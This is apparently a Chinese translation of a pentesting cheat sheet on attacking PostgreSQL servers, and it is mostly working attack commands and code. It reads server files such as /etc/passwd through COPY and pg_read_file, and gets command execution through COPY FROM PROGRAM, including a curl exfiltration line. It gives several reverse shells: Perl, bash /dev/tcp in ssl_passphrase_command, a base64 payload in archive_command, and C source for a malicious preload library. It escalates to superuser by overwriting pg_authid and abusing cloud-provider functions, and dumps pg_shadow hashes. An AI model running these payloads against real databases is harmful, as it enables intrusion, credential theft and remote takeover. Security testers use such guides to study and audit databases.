* 如果您是 **`pg_read_server_files`** 的成员,则可以 **读取** 文件
* 如果您是 **`pg_write_server_files`** 的成员,则可以 **写入** 文件

<div data-gb-custom-block data-tag="hint" data-style='info'>

请注意,在Postgres中,**用户**、**组**和**角色**是**相同的**。这取决于您如何使用它以及是否**允许登录**。

</div>

```sql
# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

表格

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

函数

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

文件系统操作

读取目录和文件

从这个提交中,定义的**DEFAULT_ROLE_READ_SERVER_FILES组成员(称为pg_read_server_files)和超级用户可以在任何路径上使用COPY**方法(查看genfile.c中的convert_and_check_filename):

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

请记住,如果您不是超级用户但具有CREATEROLE权限,则可以将自己添加到该组中:

GRANT pg_read_server_files TO username;

更多信息

有其他PostgreSQL函数可用于读取文件或列出目录。只有超级用户和具有显式权限的用户可以使用它们:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

您可以在https://www.postgresql.org/docs/current/functions-admin.html找到更多函数

简单文件写入

只有超级用户和**pg_write_server_files**成员才能使用copy来写入文件。

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

请记住,如果您不是超级用户但具有**CREATEROLE权限,则可以将自己添加到该组中:**

GRANT pg_write_server_files TO username;

更多信息

请记住,COPY 无法处理换行符,因此即使您使用 base64 负载,您也需要发送一行命令。 这种技术的一个非常重要的限制是**copy 无法用于编写二进制文件,因为它会修改一些二进制值。**

上传二进制文件

然而,还有其他技术可以上传大型二进制文件:

Big Binary Files Upload (PostgreSQL)

漏洞赏金提示:注册 Intigriti,这是一个由黑客创建的高级漏洞赏金平台!立即加入我们,访问 https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!

通过本地文件写入更新 PostgreSQL 表数据

如果您有必要的权限来读写 PostgreSQL 服务器文件,您可以通过覆盖关联文件节点在PostgreSQL 数据目录上更新服务器上的任何表。有关此技术的更多信息在这里。

所需步骤:

  1. 获取 PostgreSQL 数据目录

SELECT setting FROM pg_settings WHERE name = 'data_directory';

注意: 如果无法从设置中检索当前数据目录路径,您可以通过 SELECT version() 查询查询主要的 PostgreSQL 版本,然后尝试暴力破解路径。在 Unix 安装的 PostgreSQL 上,常见的数据目录路径是 /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/。常见的集群名称是 main。 2. 获取与目标表关联的文件节点的相对路径

SELECT pg_relation_filepath('{TABLE_NAME}')

此查询应返回类似 base/3/1337 的内容。磁盘上的完整路径将是 $DATA_DIRECTORY/base/3/1337,即 /var/lib/postgresql/13/main/base/3/1337。 3. 通过 lo_* 函数下载文件节点

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
  1. 获取与目标表关联的数据类型

SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
  1. 使用 PostgreSQL Filenode Editor 来编辑文件节点;将所有 rol* 布尔标志设置为 1 以获取完全权限。

python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
  1. (可选) 通过运行昂贵的 SQL 查询来清除内存表缓存

SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
  1. 您现在应该在 PostgreSQL 中看到更新后的表值。

您还可以通过编辑 pg_authid 表成为超级管理员。请参阅以下部分。

RCE

RCE 到程序

自版本 9.3起,只有超级用户和**pg_execute_server_program** 组的成员才能使用 copy 进行 RCE(例如,用于数据泄露的示例:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

示例执行:

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

请记住,如果您不是超级用户但具有**CREATEROLE权限,则可以将自己添加到该组中:**

GRANT pg_execute_server_program TO username;

更多信息

或者使用 metasploit 中的 multi/postgres/postgres_copy_from_program_cmd_exec 模块。 关于此漏洞的更多信息在这里。尽管被报告为 CVE-2019-9193,但Postges宣称这是一个功能,不会修复。

使用PostgreSQL语言进行RCE

RCE with PostgreSQL Languages

使用PostgreSQL扩展进行RCE

一旦你从之前的帖子中学会了如何上传二进制文件,你可以尝试获取RCE上传postgresql扩展并加载它。

RCE with PostgreSQL Extensions

PostgreSQL配置文件RCE

以下RCE向量在受限制的SQLi上下文中特别有用,因为所有步骤都可以通过嵌套的SELECT语句执行

PostgreSQL的配置文件由postgres用户(运行数据库的用户)拥有可写权限,因此作为超级用户,您可以在文件系统中写入文件,因此可以覆盖此文件。

使用ssl_passphrase_command进行RCE

有关此技术的更多信息请点击此处。

配置文件具有一些有趣的属性,可以导致RCE:

  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' 数据库私钥的路径

  • ssl_passphrase_command = '' 如果私有文件受密码保护(加密),PostgreSQL将执行此属性中指定的命令。

  • ssl_passphrase_command_supports_reload = off 如果此属性为on,则在执行pg_reload_conf()时,如果密钥受密码保护,将执行命令。

然后,攻击者需要:

  1. 从服务器转储私钥

  2. 加密下载的私钥:

  3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key

  4. 覆盖

  5. 转储当前的PostgreSQL 配置

  6. 使用上述属性配置覆盖 配置:

  7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'

  8. ssl_passphrase_command_supports_reload = on

  9. 执行 pg_reload_conf()

在测试中我注意到,这只有在私钥文件具有640权限,由root拥有并且由ssl-cert或postgres组拥有(因此postgres用户可以读取它),并且放置在_/var/lib/postgresql/12/main_中时才有效。

使用archive_command进行RCE

有关此配置和WAL的更多信息请点击此处。

配置文件中的另一个可利用属性是archive_command。

为了使其工作,archive_mode设置必须为'on'或'always'。如果是这样,那么我们可以覆盖archive_command中的命令,并通过WAL(预写式日志记录)操作强制执行它。

一般步骤是:

  1. 检查归档模式是否已启用:SELECT current_setting('archive_mode')

  2. 使用有效载荷覆盖archive_command。例如,反向shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'

  3. 重新加载配置:SELECT pg_reload_conf()

  4. 强制运行WAL操作,这将调用归档命令:SELECT pg_switch_wal()或对于某些Postgres版本SELECT pg_switch_xlog()

使用预加载库进行RCE

有关此技术的更多信息请点击此处。

此攻击向量利用以下配置变量:

  • session_preload_libraries -- PostgreSQL服务器在客户端连接时将加载的库。

  • dynamic_library_path -- PostgreSQL服务器将搜索库的目录列表。

我们可以将dynamic_library_path值设置为postgres用户运行数据库的可写目录,例如/tmp/目录,并在那里上传一个恶意的.so对象。接下来,我们将通过将其包含在session_preload_libraries变量中,强制PostgreSQL服务器加载我们新上传的库。

攻击步骤为:

  1. 下载原始的postgresql.conf

  2. 在dynamic_library_path值中包含/tmp/目录,例如dynamic_library_path = '/tmp:$libdir'

  3. 在session_preload_libraries值中包含恶意库名称,例如session_preload_libraries = 'payload.so'

  4. 通过SELECT version()查询检查主要的PostgreSQL版本

  5. 使用正确的PostgreSQL dev包编译恶意库代码示例代码:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

编译代码:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
  1. 上传在步骤2-3中创建的恶意postgresql.conf,并覆盖原始文件

  2. 将步骤5中的payload.so上传到/tmp目录

  3. 通过重新启动服务器或调用SELECT pg_reload_conf()查询重新加载服务器配置

  4. 在下一个数据库连接时,您将收到反向shell连接。

Postgres提权

CREATEROLE提权

授权

根据文档: 具有**CREATEROLE权限的角色可以授予或撤销任何不是超级用户的角色**的成员资格。

因此,如果您拥有**CREATEROLE权限,您可以授予自己访问其他角色**(不是超级用户)的权限,这可以让您读取和写入文件以及执行命令:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

修改密码

拥有此角色的用户还可以更改其他非超级用户的密码:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

提升为超级用户

通常情况下,会发现本地用户可以在 PostgreSQL 中登录而无需提供任何密码。因此,一旦您获得了执行代码的权限,您可以滥用这些权限来获取**SUPERUSER**角色:

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

这通常是因为**pg_hba.conf**文件中的以下几行:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

ALTER TABLE提权

在这篇文章中解释了如何在Postgres GCP中滥用授予用户的ALTER TABLE权限来进行提权。

当您尝试将另一个用户设为表的所有者时,应该会收到错误以阻止此操作,但显然GCP允许非超级用户postgres用户执行此操作:

结合这个想法,当在具有索引函数的表上执行INSERT/UPDATE/ANALYZE命令时,该函数会作为命令的一部分以表所有者的权限被调用。可以创建一个带有函数的索引,并将所有者权限授予超级用户,然后对具有恶意函数的表运行ANALYZE,该函数将能够执行命令,因为它正在使用所有者的权限。

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

利用

  1. 首先创建一个新表。

  2. 向表中插入一些无关内容,以提供索引函数的数据。

  3. 开发一个包含代码执行负载的恶意索引函数,允许执行未经授权的命令。

  4. 将表的所有者更改为"cloudsqladmin",这是GCP专门用于管理和维护数据库的超级用户角色。

  5. 对表执行ANALYZE操作。此操作迫使PostgreSQL引擎切换到表所有者"cloudsqladmin"的用户上下文。因此,恶意索引函数将以"cloudsqladmin"的权限调用,从而使先前未经授权的shell命令得以执行。

在PostgreSQL中,这个流程看起来像这样:

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

然后,shell_commands_results表将包含执行代码的输出:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

本地登录

一些配置不当的PostgreSQL实例可能允许任何本地用户登录,可以使用**dblink函数**从127.0.0.1本地登录:

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

请注意,为了使上一个查询起作用,需要存在函数 dblink。如果不存在,您可以尝试使用以下命令创建它:

CREATE EXTENSION dblink;

如果您拥有具有更高权限的用户密码,但该用户不允许从外部IP登录,您可以使用以下函数以该用户身份执行查询:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

可以使用以下方法检查该函数是否存在:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

具有 SECURITY DEFINER 的自定义定义函数

在这篇文章中,渗透测试人员能够在由IBM提供的postgres实例内提升权限,因为他们发现了带有 SECURITY DEFINER 标志的此函数:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

正如文档中所解释的,具有 SECURITY DEFINER 的函数 将以 拥有它的用户的权限 执行。因此,如果函数容易受到 SQL 注入攻击,或者使用了一些由攻击者控制的参数执行特权操作,则可能被滥用以在 postgres 内提升权限。

在上述代码的第4行中,您可以看到该函数具有 SECURITY DEFINER 标志。

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

通过PL/pgSQL进行暴力破解

PL/pgSQL是一种功能齐全的编程语言,与SQL相比提供了更大的过程控制。它可以使用循环和其他控制结构来增强程序逻辑。此外,SQL语句和触发器可以调用使用PL/pgSQL语言创建的函数。这种集成允许更全面和多功能的数据库编程和自动化方法。 您可以滥用这种语言来要求PostgreSQL暴力破解用户凭据。

通过覆盖内部PostgreSQL表进行权限提升

以下权限提升向量在受限制的SQLi环境中特别有用,因为所有步骤都可以通过嵌套的SELECT语句执行

如果您可以读写PostgreSQL服务器文件,您可以通过覆盖与内部pg_authid表关联的PostgreSQL磁盘文件节点,成为超级用户。

了解有关此技术的更多信息在这里。

攻击步骤如下:

  1. 获取PostgreSQL数据目录

  2. 获取与pg_authid表关联的文件节点的相对路径

  3. 通过lo_*函数下载文件节点

  4. 获取与pg_authid表关联的数据类型

  5. 使用PostgreSQL Filenode Editor来编辑文件节点; 将所有rol*布尔标志设置为1以获取完全权限。

  6. 通过lo_*函数重新上传编辑后的文件节点,并覆盖磁盘上的原始文件

  7. _(可选)_通过运行昂贵的SQL查询来清除内存表缓存

  8. 您现在应该具有完整超级管理员权限。

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

日志记录

在 postgresql.conf 文件中,您可以通过更改以下设置来启用postgresql日志记录:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

然后,重新启动服务。

pgadmin

pgadmin 是用于 PostgreSQL 的管理和开发平台。 您可以在 pgadmin4.db 文件中找到密码。 您可以使用脚本中的 decrypt 函数对其进行解密:https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

PostgreSQL中的客户端身份验证通过一个名为pg_hba.conf的配置文件进行管理。该文件包含一系列记录,每个记录指定连接类型、客户端IP地址范围(如果适用)、数据库名称、用户名以及用于匹配连接的身份验证方法。与连接类型、客户端地址、请求的数据库和用户名匹配的第一条记录用于身份验证。如果身份验证失败,没有备用选项或备份。如果没有记录匹配,则拒绝访问。

在pg_hba.conf中可用的基于密码的身份验证方法有md5、crypt和password。这些方法在密码传输方式上有所不同:MD5哈希、crypt加密或明文。需要注意的是,crypt方法不能与在pg_authid中加密的密码一起使用。

6. 通过 lo_* 函数重新上传编辑后的文件节点,并覆盖磁盘上的原始文件

Workflow-powered solution for Bug Bounty, Pentesting, SecOps | TrickestTrickest
Register - IntigritiRegister - Intigriti
Logo
Logo
暴力破解